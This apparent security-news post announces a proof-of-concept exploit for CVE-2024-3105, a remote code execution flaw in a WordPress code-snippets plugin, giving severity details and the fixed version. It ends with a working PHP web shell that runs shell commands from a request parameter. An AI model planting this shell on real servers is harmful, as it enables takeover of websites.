> ## Content Index
> Fetch the complete content index at: https://darkwebinformer.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# PoC Released - A PoC Exploit for CVE-2024-3105 - The Woody code snippets
- URL: https://darkwebinformer.com/poc-released-a-poc-exploit-for-cve-2024-3105-the-woody-code-snippets/
- Published: 2024-08-11T14:16:00.000Z
- Updated: 2025-09-04T22:27:51.000Z
- Author: Dark Web Informer
- Tags: Vulnerabilities

Direct Link: <https://github.com/hunThubSpace/CVE-2024-3105-PoC>

The Woody code snippets – Insert Header Footer Code, AdSense Ads plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.5.0 via the 'insert\_php' shortcode. This is due to the plugin not restricting the usage of the functionality to high level authorized users. This makes it possible for authenticated attackers, with contributor-level access and above, to execute code on the server.

## Info

[](https://github.com/hunThubSpace/CVE-2024-3105-PoC#info)

Base Score: **9.9 CRITICAL**  
Vector: **CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H**  
Software Type: **Plugin**  
Software Slug: **insert-php**  
Remediation: **Update to version 2.5.1, or a newer patched version**  
Affected Version: **<= 2.5.0**

## Sample PHP code

[](https://github.com/hunThubSpace/CVE-2024-3105-PoC#sample-php-code)<?php  
 error\_reporting(0);  
 $cmd = "$\_REQUEST\[c\]";  
 if ($cmd == "") {  
 $cmd = "echo > NUL";  
 }  
 @system("$cmd");  
?>